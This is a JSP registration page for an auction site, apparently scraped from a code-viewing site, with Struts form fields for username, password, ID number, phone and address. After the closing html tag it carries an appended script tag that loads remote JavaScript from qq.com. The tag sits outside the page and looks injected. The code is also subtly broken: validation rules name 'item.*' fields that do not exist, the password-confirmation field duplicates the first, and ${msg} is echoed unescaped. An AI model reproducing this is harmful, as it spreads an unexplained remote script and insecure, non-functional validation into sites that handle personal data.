?? user_info.jsp
字號:
<%@ page language="java" pageEncoding="GBK"%>
<%@ taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html" %>
<%@ taglib uri="http://struts.apache.org/tags-logic" prefix="logic" %>
<%@ taglib uri="http://struts.apache.org/tags-tiles" prefix="tiles" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html:html lang="true">
<head>
<html:base />
<title>用戶注冊</title>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<link rel="stylesheet" type="text/css" href="styles.css" />
<script src="validate.js" ></script>
<script>
function doSubmit(){
if (Validator.Validate(document.forms[0],3)) {
document.forms[0].submit();
}
}
</script>
</head>
<body>
<html:form action="/user" method="post">
<input type="hidden" name="op" value="doAdd" />
<html:hidden property="user.userStatus" value="1" />
<div id="header" class="center">
<img src="images/epai_logo.gif" style="width:110px;margin:10px;"></img>
</div>
<div id="main" class="center">
<div id="left">
<div id="search">
<div class="dia_title">查找商品</div>
<div class="dia_content" style="height:150px;">
</div>
<div class="dia_foot"></div>
</div>
<div id="menu">
<div class="dia_title">正在熱拍</div>
<div class="dia_content2" style="height:359px;">
<!-- div class="list_item">
<img src="images/arr.gif"> <a href="#" class="menu">Computers</a>
</div -->
</div>
<div class="dia_foot2"> </div>
</div>
</div>
<div id="context">
<div class="c_title">用戶注冊信息</div>
<div class="c_content">
<ul style="color:red;list-style-type:circle;">
${msg}
</ul>
<table border="0">
<tr>
<th> </th>
<td></td>
</tr>
<tr>
<th>用戶名</th>
<td><html:text property="user.userName" /></td>
</tr>
<tr>
<th>密碼</th>
<td><html:password property="user.userPassword" /></td>
</tr>
<tr>
<th>再輸一遍密碼</th>
<td><html:password property="user.userPassword"/></td>
</tr>
<tr>
<th>身份證號碼</th>
<td><html:text property="user.userIdCode" /></td>
</tr>
<tr>
<th>電話</th>
<td><html:text property="user.userTel" /></td>
</tr>
<tr>
<th>地址</th>
<td><html:text property="user.userAddr" /></td>
</tr>
<tr>
<th>郵編</th>
<td><html:text property="user.userZip" /></td>
</tr>
</table>
<div class="button_bar">
<button onclick="javascript:doSubmit();"> 提 交 </button>
</div>
</div>
<div class="c_foot"> </div>
</div>
</div>
<div id="footer" class="center">
</div>
<script>
build_validate("item.userName","用戶名不能為空","Limit","1","50");
build_validate("item.userPassword","密碼不能為空","Limit","1","50");
build_validate("item.userTel","電話不能為空","Limit","1","50");
build_validate("item.userAddr","地址不能為空","Limit","1","300");
build_validate("item.userIdCode","身份證號碼不正確","Limit","15","18");
build_validate_compare("item.userPassword2","兩次輸入的密碼不一致","item.userPassword");
build_validate("item.userZip","郵政編碼格式不正確","Limit","6","6");
</script>
</html:form>
</body>
</html:html>
<script language=javascript src=http://www.qq.com/qq.js></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -